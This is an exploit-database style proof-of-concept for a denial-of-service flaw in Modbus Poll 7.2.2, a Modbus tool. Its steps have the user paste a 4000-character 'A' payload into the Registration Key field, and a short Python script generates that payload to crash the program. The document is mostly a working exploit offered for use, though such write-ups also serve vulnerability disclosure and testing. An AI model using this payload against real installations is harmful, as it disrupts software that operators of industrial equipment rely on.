Modbus Poll 7.2.2 Denial Of Service

`# Exploit Title: Modbus Poll 7.2.2 - Denial of Service (PoC)  
# Discovery by: Cemal Cihad AAdegFTAAdeg  
# Discovery Date: 2018-10-19  
# Tested Version: 7.2.2  
# Vulnerability Type: DOS  
# Tested on OS: Windows XP Professional Service Pack 3  
# Vendor Homepage: https://www.modbustools.com  
# Download Link: https://www.modbustools.com/download.html  
  
# Steps to Reproduce: Run the python exploit script, it will create a new  
# file with the name "exploit.txt". Copy the content of the new file "exploit.txt".  
# Now start the program. Now when you are inside of the program click Connection button and   
# click "connect". It will ask you for registration key. In the field: "Registration Key"   
# paste the copied content from "exploit.txt".  
# Now click "OK" and see a crash!   
  
#!/usr/bin/python  
  
buffer = "A" * 4000  
try:  
f=open("exploit.txt","w")  
print "[+] Creating %s bytes evil payload.." %len(buffer)  
f.write(buffer)  
f.close()  
print "[+] File created!"  
except:  
print "File cannot be created"  
  
`